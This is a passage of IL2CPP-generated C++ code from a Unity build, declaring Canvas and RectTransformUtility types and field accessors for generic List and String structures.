#include <cstring>
#include <string.h>
#include <stdio.h>
#include <cmath>
#include <limits>
#include <assert.h>
#include <stdint.h>
#include "codegen/il2cpp-codegen.h"
#include "il2cpp-object-internals.h"
struct VirtActionInvoker0
{
typedef void (*Action)(void*, const RuntimeMethod*);
static inline void Invoke (Il2CppMethodSlot slot, RuntimeObject* obj)
{
const VirtualInvokeData& invokeData = il2cpp_codegen_get_virtual_invoke_data(slot, obj);
((Action)invokeData.methodPtr)(obj, invokeData.method);
}
};
struct GenericVirtActionInvoker0
{
typedef void (*Action)(void*, const RuntimeMethod*);
static inline void Invoke (const RuntimeMethod* method, RuntimeObject* obj)
{
VirtualInvokeData invokeData;
il2cpp_codegen_get_generic_virtual_invoke_data(method, obj, &invokeData);
((Action)invokeData.methodPtr)(obj, invokeData.method);
}
};
struct InterfaceActionInvoker0
{
typedef void (*Action)(void*, const RuntimeMethod*);
static inline void Invoke (Il2CppMethodSlot slot, RuntimeClass* declaringInterface, RuntimeObject* obj)
{
const VirtualInvokeData& invokeData = il2cpp_codegen_get_interface_invoke_data(slot, obj, declaringInterface);
((Action)invokeData.methodPtr)(obj, invokeData.method);
}
};
struct GenericInterfaceActionInvoker0
{
typedef void (*Action)(void*, const RuntimeMethod*);
static inline void Invoke (const RuntimeMethod* method, RuntimeObject* obj)
{
VirtualInvokeData invokeData;
il2cpp_codegen_get_generic_interface_invoke_data(method, obj, &invokeData);
((Action)invokeData.methodPtr)(obj, invokeData.method);
}
};
// System.AsyncCallback
struct AsyncCallback_t3F3DA3BEDAEE81DD1D24125DF8EB30E85EE14DA4;
// System.Char[]
struct CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2;
// System.Collections.Generic.List`1<System.Int32>
struct List_1_tE1526161A558A17A39A8B69D8EEF3801393B6226;
// System.Collections.Generic.List`1<UnityEngine.Color32>
struct List_1_t749ADA5233D9B421293A000DCB83608A24C3D5D5;
// System.Collections.Generic.List`1<UnityEngine.UIVertex>
struct List_1_t4CE16E1B496C9FE941554BB47727DFDD7C3D9554;
// System.Collections.Generic.List`1<UnityEngine.Vector2>
struct List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB;
// System.Collections.Generic.List`1<UnityEngine.Vector3>
struct List_1_tFCCBEDAA56D8F7598520FB136A9F8D713033D6B5;
// System.Collections.Generic.List`1<UnityEngine.Vector4>
struct List_1_tFF4005B40E5BA433006DA11C56DB086B1E2FC955;
// System.Delegate
struct Delegate_t;
// System.DelegateData
struct DelegateData_t1BF9F691B56DAE5F8C28C5E084FDE94F15F27BBE;
// System.Delegate[]
struct DelegateU5BU5D_tDFCDEE2A6322F96C0FE49AF47E9ADB8C4B294E86;
// System.IAsyncResult
struct IAsyncResult_t8E194308510B375B42432981AE5E7488C458D598;
// System.Int32[]
struct Int32U5BU5D_t2B9E4FDDDB9F0A00EC0AC631BA2DA915EB1ECF83;
// System.Reflection.MethodInfo
struct MethodInfo_t;
// System.String
struct String_t;
// System.Void
struct Void_t22962CB4C05B1D89B55A6E1139F0E87A90987017;
// UnityEngine.Behaviour
struct Behaviour_tBDC7E9C3C898AD8348891B82D3E345801D920CA8;
// UnityEngine.Camera
struct Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34;
// UnityEngine.Camera/CameraCallback
struct CameraCallback_t8BBB42AA08D7498DFC11F4128117055BC7F0B9D0;
// UnityEngine.Canvas
struct Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591;
// UnityEngine.Canvas/WillRenderCanvases
struct WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE;
// UnityEngine.CanvasGroup
struct CanvasGroup_tE2C664C60990D1DCCEE0CC6545CC3E80369C7F90;
// UnityEngine.CanvasRenderer
struct CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72;
// UnityEngine.Color32[]
struct Color32U5BU5D_tABFBCB467E6D1B791303A0D3A3AA1A482F620983;
// UnityEngine.Material
struct Material_tF7DB3BF0C24DEC2FE0CB51E5DF5053D5223C8598;
// UnityEngine.Mesh
struct Mesh_t6106B8D8E4C691321581AB0445552EC78B947B8C;
// UnityEngine.Object
struct Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0;
// UnityEngine.RectTransform
struct RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20;
// UnityEngine.RectTransform/ReapplyDrivenProperties
struct ReapplyDrivenProperties_t431F4FBD9C59AE097FE33C4354CC6251B01B527D;
// UnityEngine.Texture
struct Texture_t387FE83BB848001FD06B14707AEA6D5A0F6A95F4;
// UnityEngine.Transform
struct Transform_tBB9E78A2766C3C83599A8F66EDE7D1FCAFC66EDA;
// UnityEngine.UIVertex[]
struct UIVertexU5BU5D_tB560F9F9269864891FCE1677971F603A08AA857A;
// UnityEngine.Vector2[]
struct Vector2U5BU5D_tA065A07DFC060C1B8786BBAA5F3A6577CCEB27D6;
// UnityEngine.Vector3[]
struct Vector3U5BU5D_tB9EC3346CC4A0EA5447D968E84A9AC1F6F372C28;
// UnityEngine.Vector4[]
struct Vector4U5BU5D_t51402C154FFFCF7217A9BEC4B834F0B726C10F66;
IL2CPP_EXTERN_C RuntimeClass* Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591_il2cpp_TypeInfo_var;
IL2CPP_EXTERN_C RuntimeClass* Math_tFB388E53C7FDC6FCCF9A19ABF5A4E521FBD52E19_il2cpp_TypeInfo_var;
IL2CPP_EXTERN_C RuntimeClass* Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0_il2cpp_TypeInfo_var;
IL2CPP_EXTERN_C RuntimeClass* Quaternion_t319F3319A7D43FFA5D819AD6C0A98851F0095357_il2cpp_TypeInfo_var;
IL2CPP_EXTERN_C RuntimeClass* RectTransformUtility_t9B90669A72B05A33DD88BEBB817BC9CDBB614BBA_il2cpp_TypeInfo_var;
IL2CPP_EXTERN_C RuntimeClass* RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20_il2cpp_TypeInfo_var;
IL2CPP_EXTERN_C RuntimeClass* Vector2_tA85D2DD88578276CA8A8796756458277E72D073D_il2cpp_TypeInfo_var;
IL2CPP_EXTERN_C RuntimeClass* Vector3U5BU5D_tB9EC3346CC4A0EA5447D968E84A9AC1F6F372C28_il2cpp_TypeInfo_var;
IL2CPP_EXTERN_C RuntimeClass* Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720_il2cpp_TypeInfo_var;
IL2CPP_EXTERN_C RuntimeClass* WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE_il2cpp_TypeInfo_var;
IL2CPP_EXTERN_C const uint32_t CanvasRenderer_SetMaterial_mD407C670DBA743283F32581586B5DD51272B08C7_MetadataUsageId;
IL2CPP_EXTERN_C const uint32_t Canvas_SendWillRenderCanvases_mD38081FE3172AC7A884B8ED459E90633167B2D10_MetadataUsageId;
IL2CPP_EXTERN_C const uint32_t Canvas_add_willRenderCanvases_mACABFF4EAFB7DCFF4B9A33357D496EC3010D7E6B_MetadataUsageId;
IL2CPP_EXTERN_C const uint32_t Canvas_remove_willRenderCanvases_m9A5F0E946B4549D576EDAD5618FEA2D532377831_MetadataUsageId;
IL2CPP_EXTERN_C const uint32_t RectTransformUtility_FlipLayoutAxes_mF5D9BF9F0EACBC972A22C937FD21B610410EB956_MetadataUsageId;
IL2CPP_EXTERN_C const uint32_t RectTransformUtility_FlipLayoutOnAxis_mFECCA330C80845D0B75829C7DD242688911006AE_MetadataUsageId;
IL2CPP_EXTERN_C const uint32_t RectTransformUtility_PixelAdjustPoint_m9B5E7F4F2EB55A49670316CBE4D8923154054573_MetadataUsageId;
IL2CPP_EXTERN_C const uint32_t RectTransformUtility_PixelAdjustRect_m320399756E1AD411CFECB3E11867806E73A0DE49_MetadataUsageId;
IL2CPP_EXTERN_C const uint32_t RectTransformUtility_PointInRectangle_m31A8C0A3CFCC0B584A33C3A3F2692EF09D303CEE_MetadataUsageId;
IL2CPP_EXTERN_C const uint32_t RectTransformUtility_RectangleContainsScreenPoint_mDED32A2F3CD5C623FBA3FFE2C49AEB861D33DE14_MetadataUsageId;
IL2CPP_EXTERN_C const uint32_t RectTransformUtility_ScreenPointToLocalPointInRectangle_m2C389D4DCBB3CADB51A793702F13DF7CE837E153_MetadataUsageId;
IL2CPP_EXTERN_C const uint32_t RectTransformUtility_ScreenPointToRay_mB74CED011944E1E7CE3A24C433B9B660C5BADC73_MetadataUsageId;
IL2CPP_EXTERN_C const uint32_t RectTransformUtility_ScreenPointToWorldPointInRectangle_m821FF925C5B70477F153B4C053AE9E36A04A774F_MetadataUsageId;
IL2CPP_EXTERN_C const uint32_t RectTransformUtility_WorldToScreenPoint_m114DFD961456722DED0FFB2F8DCB46A04C2CCA20_MetadataUsageId;
IL2CPP_EXTERN_C const uint32_t RectTransformUtility__cctor_m1DCF0D49797698D7D4FBF3EF83B5DEC9A5F42851_MetadataUsageId;
struct Delegate_t_marshaled_com;
struct Delegate_t_marshaled_pinvoke;
struct DelegateU5BU5D_tDFCDEE2A6322F96C0FE49AF47E9ADB8C4B294E86;
struct Vector3U5BU5D_tB9EC3346CC4A0EA5447D968E84A9AC1F6F372C28;
IL2CPP_EXTERN_C_BEGIN
IL2CPP_EXTERN_C_END
#ifdef __clang__
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Winvalid-offsetof"
#pragma clang diagnostic ignored "-Wunused-variable"
#endif
// <Module>
struct U3CModuleU3E_t79D7DE725655CFC1B063EA359E8D75692CF5DC2F
{
public:
public:
};
// System.Object
struct Il2CppArrayBounds;
// System.Array
// System.Collections.Generic.List`1<System.Int32>
struct List_1_tE1526161A558A17A39A8B69D8EEF3801393B6226 : public RuntimeObject
{
public:
// T[] System.Collections.Generic.List`1::_items
Int32U5BU5D_t2B9E4FDDDB9F0A00EC0AC631BA2DA915EB1ECF83* ____items_1;
// System.Int32 System.Collections.Generic.List`1::_size
int32_t ____size_2;
// System.Int32 System.Collections.Generic.List`1::_version
int32_t ____version_3;
// System.Object System.Collections.Generic.List`1::_syncRoot
RuntimeObject * ____syncRoot_4;
public:
inline static int32_t get_offset_of__items_1() { return static_cast<int32_t>(offsetof(List_1_tE1526161A558A17A39A8B69D8EEF3801393B6226, ____items_1)); }
inline Int32U5BU5D_t2B9E4FDDDB9F0A00EC0AC631BA2DA915EB1ECF83* get__items_1() const { return ____items_1; }
inline Int32U5BU5D_t2B9E4FDDDB9F0A00EC0AC631BA2DA915EB1ECF83** get_address_of__items_1() { return &____items_1; }
inline void set__items_1(Int32U5BU5D_t2B9E4FDDDB9F0A00EC0AC631BA2DA915EB1ECF83* value)
{
____items_1 = value;
Il2CppCodeGenWriteBarrier((void**)(&____items_1), (void*)value);
}
inline static int32_t get_offset_of__size_2() { return static_cast<int32_t>(offsetof(List_1_tE1526161A558A17A39A8B69D8EEF3801393B6226, ____size_2)); }
inline int32_t get__size_2() const { return ____size_2; }
inline int32_t* get_address_of__size_2() { return &____size_2; }
inline void set__size_2(int32_t value)
{
____size_2 = value;
}
inline static int32_t get_offset_of__version_3() { return static_cast<int32_t>(offsetof(List_1_tE1526161A558A17A39A8B69D8EEF3801393B6226, ____version_3)); }
inline int32_t get__version_3() const { return ____version_3; }
inline int32_t* get_address_of__version_3() { return &____version_3; }
inline void set__version_3(int32_t value)
{
____version_3 = value;
}
inline static int32_t get_offset_of__syncRoot_4() { return static_cast<int32_t>(offsetof(List_1_tE1526161A558A17A39A8B69D8EEF3801393B6226, ____syncRoot_4)); }
inline RuntimeObject * get__syncRoot_4() const { return ____syncRoot_4; }
inline RuntimeObject ** get_address_of__syncRoot_4() { return &____syncRoot_4; }
inline void set__syncRoot_4(RuntimeObject * value)
{
____syncRoot_4 = value;
Il2CppCodeGenWriteBarrier((void**)(&____syncRoot_4), (void*)value);
}
};
struct List_1_tE1526161A558A17A39A8B69D8EEF3801393B6226_StaticFields
{
public:
// T[] System.Collections.Generic.List`1::_emptyArray
Int32U5BU5D_t2B9E4FDDDB9F0A00EC0AC631BA2DA915EB1ECF83* ____emptyArray_5;
public:
inline static int32_t get_offset_of__emptyArray_5() { return static_cast<int32_t>(offsetof(List_1_tE1526161A558A17A39A8B69D8EEF3801393B6226_StaticFields, ____emptyArray_5)); }
inline Int32U5BU5D_t2B9E4FDDDB9F0A00EC0AC631BA2DA915EB1ECF83* get__emptyArray_5() const { return ____emptyArray_5; }
inline Int32U5BU5D_t2B9E4FDDDB9F0A00EC0AC631BA2DA915EB1ECF83** get_address_of__emptyArray_5() { return &____emptyArray_5; }
inline void set__emptyArray_5(Int32U5BU5D_t2B9E4FDDDB9F0A00EC0AC631BA2DA915EB1ECF83* value)
{
____emptyArray_5 = value;
Il2CppCodeGenWriteBarrier((void**)(&____emptyArray_5), (void*)value);
}
};
// System.Collections.Generic.List`1<UnityEngine.Color32>
struct List_1_t749ADA5233D9B421293A000DCB83608A24C3D5D5 : public RuntimeObject
{
public:
// T[] System.Collections.Generic.List`1::_items
Color32U5BU5D_tABFBCB467E6D1B791303A0D3A3AA1A482F620983* ____items_1;
// System.Int32 System.Collections.Generic.List`1::_size
int32_t ____size_2;
// System.Int32 System.Collections.Generic.List`1::_version
int32_t ____version_3;
// System.Object System.Collections.Generic.List`1::_syncRoot
RuntimeObject * ____syncRoot_4;
public:
inline static int32_t get_offset_of__items_1() { return static_cast<int32_t>(offsetof(List_1_t749ADA5233D9B421293A000DCB83608A24C3D5D5, ____items_1)); }
inline Color32U5BU5D_tABFBCB467E6D1B791303A0D3A3AA1A482F620983* get__items_1() const { return ____items_1; }
inline Color32U5BU5D_tABFBCB467E6D1B791303A0D3A3AA1A482F620983** get_address_of__items_1() { return &____items_1; }
inline void set__items_1(Color32U5BU5D_tABFBCB467E6D1B791303A0D3A3AA1A482F620983* value)
{
____items_1 = value;
Il2CppCodeGenWriteBarrier((void**)(&____items_1), (void*)value);
}
inline static int32_t get_offset_of__size_2() { return static_cast<int32_t>(offsetof(List_1_t749ADA5233D9B421293A000DCB83608A24C3D5D5, ____size_2)); }
inline int32_t get__size_2() const { return ____size_2; }
inline int32_t* get_address_of__size_2() { return &____size_2; }
inline void set__size_2(int32_t value)
{
____size_2 = value;
}
inline static int32_t get_offset_of__version_3() { return static_cast<int32_t>(offsetof(List_1_t749ADA5233D9B421293A000DCB83608A24C3D5D5, ____version_3)); }
inline int32_t get__version_3() const { return ____version_3; }
inline int32_t* get_address_of__version_3() { return &____version_3; }
inline void set__version_3(int32_t value)
{
____version_3 = value;
}
inline static int32_t get_offset_of__syncRoot_4() { return static_cast<int32_t>(offsetof(List_1_t749ADA5233D9B421293A000DCB83608A24C3D5D5, ____syncRoot_4)); }
inline RuntimeObject * get__syncRoot_4() const { return ____syncRoot_4; }
inline RuntimeObject ** get_address_of__syncRoot_4() { return &____syncRoot_4; }
inline void set__syncRoot_4(RuntimeObject * value)
{
____syncRoot_4 = value;
Il2CppCodeGenWriteBarrier((void**)(&____syncRoot_4), (void*)value);
}
};
struct List_1_t749ADA5233D9B421293A000DCB83608A24C3D5D5_StaticFields
{
public:
// T[] System.Collections.Generic.List`1::_emptyArray
Color32U5BU5D_tABFBCB467E6D1B791303A0D3A3AA1A482F620983* ____emptyArray_5;
public:
inline static int32_t get_offset_of__emptyArray_5() { return static_cast<int32_t>(offsetof(List_1_t749ADA5233D9B421293A000DCB83608A24C3D5D5_StaticFields, ____emptyArray_5)); }
inline Color32U5BU5D_tABFBCB467E6D1B791303A0D3A3AA1A482F620983* get__emptyArray_5() const { return ____emptyArray_5; }
inline Color32U5BU5D_tABFBCB467E6D1B791303A0D3A3AA1A482F620983** get_address_of__emptyArray_5() { return &____emptyArray_5; }
inline void set__emptyArray_5(Color32U5BU5D_tABFBCB467E6D1B791303A0D3A3AA1A482F620983* value)
{
____emptyArray_5 = value;
Il2CppCodeGenWriteBarrier((void**)(&____emptyArray_5), (void*)value);
}
};
// System.Collections.Generic.List`1<UnityEngine.UIVertex>
struct List_1_t4CE16E1B496C9FE941554BB47727DFDD7C3D9554 : public RuntimeObject
{
public:
// T[] System.Collections.Generic.List`1::_items
UIVertexU5BU5D_tB560F9F9269864891FCE1677971F603A08AA857A* ____items_1;
// System.Int32 System.Collections.Generic.List`1::_size
int32_t ____size_2;
// System.Int32 System.Collections.Generic.List`1::_version
int32_t ____version_3;
// System.Object System.Collections.Generic.List`1::_syncRoot
RuntimeObject * ____syncRoot_4;
public:
inline static int32_t get_offset_of__items_1() { return static_cast<int32_t>(offsetof(List_1_t4CE16E1B496C9FE941554BB47727DFDD7C3D9554, ____items_1)); }
inline UIVertexU5BU5D_tB560F9F9269864891FCE1677971F603A08AA857A* get__items_1() const { return ____items_1; }
inline UIVertexU5BU5D_tB560F9F9269864891FCE1677971F603A08AA857A** get_address_of__items_1() { return &____items_1; }
inline void set__items_1(UIVertexU5BU5D_tB560F9F9269864891FCE1677971F603A08AA857A* value)
{
____items_1 = value;
Il2CppCodeGenWriteBarrier((void**)(&____items_1), (void*)value);
}
inline static int32_t get_offset_of__size_2() { return static_cast<int32_t>(offsetof(List_1_t4CE16E1B496C9FE941554BB47727DFDD7C3D9554, ____size_2)); }
inline int32_t get__size_2() const { return ____size_2; }
inline int32_t* get_address_of__size_2() { return &____size_2; }
inline void set__size_2(int32_t value)
{
____size_2 = value;
}
inline static int32_t get_offset_of__version_3() { return static_cast<int32_t>(offsetof(List_1_t4CE16E1B496C9FE941554BB47727DFDD7C3D9554, ____version_3)); }
inline int32_t get__version_3() const { return ____version_3; }
inline int32_t* get_address_of__version_3() { return &____version_3; }
inline void set__version_3(int32_t value)
{
____version_3 = value;
}
inline static int32_t get_offset_of__syncRoot_4() { return static_cast<int32_t>(offsetof(List_1_t4CE16E1B496C9FE941554BB47727DFDD7C3D9554, ____syncRoot_4)); }
inline RuntimeObject * get__syncRoot_4() const { return ____syncRoot_4; }
inline RuntimeObject ** get_address_of__syncRoot_4() { return &____syncRoot_4; }
inline void set__syncRoot_4(RuntimeObject * value)
{
____syncRoot_4 = value;
Il2CppCodeGenWriteBarrier((void**)(&____syncRoot_4), (void*)value);
}
};
struct List_1_t4CE16E1B496C9FE941554BB47727DFDD7C3D9554_StaticFields
{
public:
// T[] System.Collections.Generic.List`1::_emptyArray
UIVertexU5BU5D_tB560F9F9269864891FCE1677971F603A08AA857A* ____emptyArray_5;
public:
inline static int32_t get_offset_of__emptyArray_5() { return static_cast<int32_t>(offsetof(List_1_t4CE16E1B496C9FE941554BB47727DFDD7C3D9554_StaticFields, ____emptyArray_5)); }
inline UIVertexU5BU5D_tB560F9F9269864891FCE1677971F603A08AA857A* get__emptyArray_5() const { return ____emptyArray_5; }
inline UIVertexU5BU5D_tB560F9F9269864891FCE1677971F603A08AA857A** get_address_of__emptyArray_5() { return &____emptyArray_5; }
inline void set__emptyArray_5(UIVertexU5BU5D_tB560F9F9269864891FCE1677971F603A08AA857A* value)
{
____emptyArray_5 = value;
Il2CppCodeGenWriteBarrier((void**)(&____emptyArray_5), (void*)value);
}
};
// System.Collections.Generic.List`1<UnityEngine.Vector2>
struct List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB : public RuntimeObject
{
public:
// T[] System.Collections.Generic.List`1::_items
Vector2U5BU5D_tA065A07DFC060C1B8786BBAA5F3A6577CCEB27D6* ____items_1;
// System.Int32 System.Collections.Generic.List`1::_size
int32_t ____size_2;
// System.Int32 System.Collections.Generic.List`1::_version
int32_t ____version_3;
// System.Object System.Collections.Generic.List`1::_syncRoot
RuntimeObject * ____syncRoot_4;
public:
inline static int32_t get_offset_of__items_1() { return static_cast<int32_t>(offsetof(List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB, ____items_1)); }
inline Vector2U5BU5D_tA065A07DFC060C1B8786BBAA5F3A6577CCEB27D6* get__items_1() const { return ____items_1; }
inline Vector2U5BU5D_tA065A07DFC060C1B8786BBAA5F3A6577CCEB27D6** get_address_of__items_1() { return &____items_1; }
inline void set__items_1(Vector2U5BU5D_tA065A07DFC060C1B8786BBAA5F3A6577CCEB27D6* value)
{
____items_1 = value;
Il2CppCodeGenWriteBarrier((void**)(&____items_1), (void*)value);
}
inline static int32_t get_offset_of__size_2() { return static_cast<int32_t>(offsetof(List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB, ____size_2)); }
inline int32_t get__size_2() const { return ____size_2; }
inline int32_t* get_address_of__size_2() { return &____size_2; }
inline void set__size_2(int32_t value)
{
____size_2 = value;
}
inline static int32_t get_offset_of__version_3() { return static_cast<int32_t>(offsetof(List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB, ____version_3)); }
inline int32_t get__version_3() const { return ____version_3; }
inline int32_t* get_address_of__version_3() { return &____version_3; }
inline void set__version_3(int32_t value)
{
____version_3 = value;
}
inline static int32_t get_offset_of__syncRoot_4() { return static_cast<int32_t>(offsetof(List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB, ____syncRoot_4)); }
inline RuntimeObject * get__syncRoot_4() const { return ____syncRoot_4; }
inline RuntimeObject ** get_address_of__syncRoot_4() { return &____syncRoot_4; }
inline void set__syncRoot_4(RuntimeObject * value)
{
____syncRoot_4 = value;
Il2CppCodeGenWriteBarrier((void**)(&____syncRoot_4), (void*)value);
}
};
struct List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB_StaticFields
{
public:
// T[] System.Collections.Generic.List`1::_emptyArray
Vector2U5BU5D_tA065A07DFC060C1B8786BBAA5F3A6577CCEB27D6* ____emptyArray_5;
public:
inline static int32_t get_offset_of__emptyArray_5() { return static_cast<int32_t>(offsetof(List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB_StaticFields, ____emptyArray_5)); }
inline Vector2U5BU5D_tA065A07DFC060C1B8786BBAA5F3A6577CCEB27D6* get__emptyArray_5() const { return ____emptyArray_5; }
inline Vector2U5BU5D_tA065A07DFC060C1B8786BBAA5F3A6577CCEB27D6** get_address_of__emptyArray_5() { return &____emptyArray_5; }
inline void set__emptyArray_5(Vector2U5BU5D_tA065A07DFC060C1B8786BBAA5F3A6577CCEB27D6* value)
{
____emptyArray_5 = value;
Il2CppCodeGenWriteBarrier((void**)(&____emptyArray_5), (void*)value);
}
};
// System.Collections.Generic.List`1<UnityEngine.Vector3>
struct List_1_tFCCBEDAA56D8F7598520FB136A9F8D713033D6B5 : public RuntimeObject
{
public:
// T[] System.Collections.Generic.List`1::_items
Vector3U5BU5D_tB9EC3346CC4A0EA5447D968E84A9AC1F6F372C28* ____items_1;
// System.Int32 System.Collections.Generic.List`1::_size
int32_t ____size_2;
// System.Int32 System.Collections.Generic.List`1::_version
int32_t ____version_3;
// System.Object System.Collections.Generic.List`1::_syncRoot
RuntimeObject * ____syncRoot_4;
public:
inline static int32_t get_offset_of__items_1() { return static_cast<int32_t>(offsetof(List_1_tFCCBEDAA56D8F7598520FB136A9F8D713033D6B5, ____items_1)); }
inline Vector3U5BU5D_tB9EC3346CC4A0EA5447D968E84A9AC1F6F372C28* get__items_1() const { return ____items_1; }
inline Vector3U5BU5D_tB9EC3346CC4A0EA5447D968E84A9AC1F6F372C28** get_address_of__items_1() { return &____items_1; }
inline void set__items_1(Vector3U5BU5D_tB9EC3346CC4A0EA5447D968E84A9AC1F6F372C28* value)
{
____items_1 = value;
Il2CppCodeGenWriteBarrier((void**)(&____items_1), (void*)value);
}
inline static int32_t get_offset_of__size_2() { return static_cast<int32_t>(offsetof(List_1_tFCCBEDAA56D8F7598520FB136A9F8D713033D6B5, ____size_2)); }
inline int32_t get__size_2() const { return ____size_2; }
inline int32_t* get_address_of__size_2() { return &____size_2; }
inline void set__size_2(int32_t value)
{
____size_2 = value;
}
inline static int32_t get_offset_of__version_3() { return static_cast<int32_t>(offsetof(List_1_tFCCBEDAA56D8F7598520FB136A9F8D713033D6B5, ____version_3)); }
inline int32_t get__version_3() const { return ____version_3; }
inline int32_t* get_address_of__version_3() { return &____version_3; }
inline void set__version_3(int32_t value)
{
____version_3 = value;
}
inline static int32_t get_offset_of__syncRoot_4() { return static_cast<int32_t>(offsetof(List_1_tFCCBEDAA56D8F7598520FB136A9F8D713033D6B5, ____syncRoot_4)); }
inline RuntimeObject * get__syncRoot_4() const { return ____syncRoot_4; }
inline RuntimeObject ** get_address_of__syncRoot_4() { return &____syncRoot_4; }
inline void set__syncRoot_4(RuntimeObject * value)
{
____syncRoot_4 = value;
Il2CppCodeGenWriteBarrier((void**)(&____syncRoot_4), (void*)value);
}
};
struct List_1_tFCCBEDAA56D8F7598520FB136A9F8D713033D6B5_StaticFields
{
public:
// T[] System.Collections.Generic.List`1::_emptyArray
Vector3U5BU5D_tB9EC3346CC4A0EA5447D968E84A9AC1F6F372C28* ____emptyArray_5;
public:
inline static int32_t get_offset_of__emptyArray_5() { return static_cast<int32_t>(offsetof(List_1_tFCCBEDAA56D8F7598520FB136A9F8D713033D6B5_StaticFields, ____emptyArray_5)); }
inline Vector3U5BU5D_tB9EC3346CC4A0EA5447D968E84A9AC1F6F372C28* get__emptyArray_5() const { return ____emptyArray_5; }
inline Vector3U5BU5D_tB9EC3346CC4A0EA5447D968E84A9AC1F6F372C28** get_address_of__emptyArray_5() { return &____emptyArray_5; }
inline void set__emptyArray_5(Vector3U5BU5D_tB9EC3346CC4A0EA5447D968E84A9AC1F6F372C28* value)
{
____emptyArray_5 = value;
Il2CppCodeGenWriteBarrier((void**)(&____emptyArray_5), (void*)value);
}
};
// System.Collections.Generic.List`1<UnityEngine.Vector4>
struct List_1_tFF4005B40E5BA433006DA11C56DB086B1E2FC955 : public RuntimeObject
{
public:
// T[] System.Collections.Generic.List`1::_items
Vector4U5BU5D_t51402C154FFFCF7217A9BEC4B834F0B726C10F66* ____items_1;
// System.Int32 System.Collections.Generic.List`1::_size
int32_t ____size_2;
// System.Int32 System.Collections.Generic.List`1::_version
int32_t ____version_3;
// System.Object System.Collections.Generic.List`1::_syncRoot
RuntimeObject * ____syncRoot_4;
public:
inline static int32_t get_offset_of__items_1() { return static_cast<int32_t>(offsetof(List_1_tFF4005B40E5BA433006DA11C56DB086B1E2FC955, ____items_1)); }
inline Vector4U5BU5D_t51402C154FFFCF7217A9BEC4B834F0B726C10F66* get__items_1() const { return ____items_1; }
inline Vector4U5BU5D_t51402C154FFFCF7217A9BEC4B834F0B726C10F66** get_address_of__items_1() { return &____items_1; }
inline void set__items_1(Vector4U5BU5D_t51402C154FFFCF7217A9BEC4B834F0B726C10F66* value)
{
____items_1 = value;
Il2CppCodeGenWriteBarrier((void**)(&____items_1), (void*)value);
}
inline static int32_t get_offset_of__size_2() { return static_cast<int32_t>(offsetof(List_1_tFF4005B40E5BA433006DA11C56DB086B1E2FC955, ____size_2)); }
inline int32_t get__size_2() const { return ____size_2; }
inline int32_t* get_address_of__size_2() { return &____size_2; }
inline void set__size_2(int32_t value)
{
____size_2 = value;
}
inline static int32_t get_offset_of__version_3() { return static_cast<int32_t>(offsetof(List_1_tFF4005B40E5BA433006DA11C56DB086B1E2FC955, ____version_3)); }
inline int32_t get__version_3() const { return ____version_3; }
inline int32_t* get_address_of__version_3() { return &____version_3; }
inline void set__version_3(int32_t value)
{
____version_3 = value;
}
inline static int32_t get_offset_of__syncRoot_4() { return static_cast<int32_t>(offsetof(List_1_tFF4005B40E5BA433006DA11C56DB086B1E2FC955, ____syncRoot_4)); }
inline RuntimeObject * get__syncRoot_4() const { return ____syncRoot_4; }
inline RuntimeObject ** get_address_of__syncRoot_4() { return &____syncRoot_4; }
inline void set__syncRoot_4(RuntimeObject * value)
{
____syncRoot_4 = value;
Il2CppCodeGenWriteBarrier((void**)(&____syncRoot_4), (void*)value);
}
};
struct List_1_tFF4005B40E5BA433006DA11C56DB086B1E2FC955_StaticFields
{
public:
// T[] System.Collections.Generic.List`1::_emptyArray
Vector4U5BU5D_t51402C154FFFCF7217A9BEC4B834F0B726C10F66* ____emptyArray_5;
public:
inline static int32_t get_offset_of__emptyArray_5() { return static_cast<int32_t>(offsetof(List_1_tFF4005B40E5BA433006DA11C56DB086B1E2FC955_StaticFields, ____emptyArray_5)); }
inline Vector4U5BU5D_t51402C154FFFCF7217A9BEC4B834F0B726C10F66* get__emptyArray_5() const { return ____emptyArray_5; }
inline Vector4U5BU5D_t51402C154FFFCF7217A9BEC4B834F0B726C10F66** get_address_of__emptyArray_5() { return &____emptyArray_5; }
inline void set__emptyArray_5(Vector4U5BU5D_t51402C154FFFCF7217A9BEC4B834F0B726C10F66* value)
{
____emptyArray_5 = value;
Il2CppCodeGenWriteBarrier((void**)(&____emptyArray_5), (void*)value);
}
};
// System.String
struct String_t : public RuntimeObject
{
public:
// System.Int32 System.String::m_stringLength
int32_t ___m_stringLength_0;
// System.Char System.String::m_firstChar
Il2CppChar ___m_firstChar_1;
public:
inline static int32_t get_offset_of_m_stringLength_0() { return static_cast<int32_t>(offsetof(String_t, ___m_stringLength_0)); }
inline int32_t get_m_stringLength_0() const { return ___m_stringLength_0; }
inline int32_t* get_address_of_m_stringLength_0() { return &___m_stringLength_0; }
inline void set_m_stringLength_0(int32_t value)
{
___m_stringLength_0 = value;
}
inline static int32_t get_offset_of_m_firstChar_1() { return static_cast<int32_t>(offsetof(String_t, ___m_firstChar_1)); }
inline Il2CppChar get_m_firstChar_1() const { return ___m_firstChar_1; }
inline Il2CppChar* get_address_of_m_firstChar_1() { return &___m_firstChar_1; }
inline void set_m_firstChar_1(Il2CppChar value)
{
___m_firstChar_1 = value;
}
};
struct String_t_StaticFields
{
public:
// System.String System.String::Empty
String_t* ___Empty_5;
public:
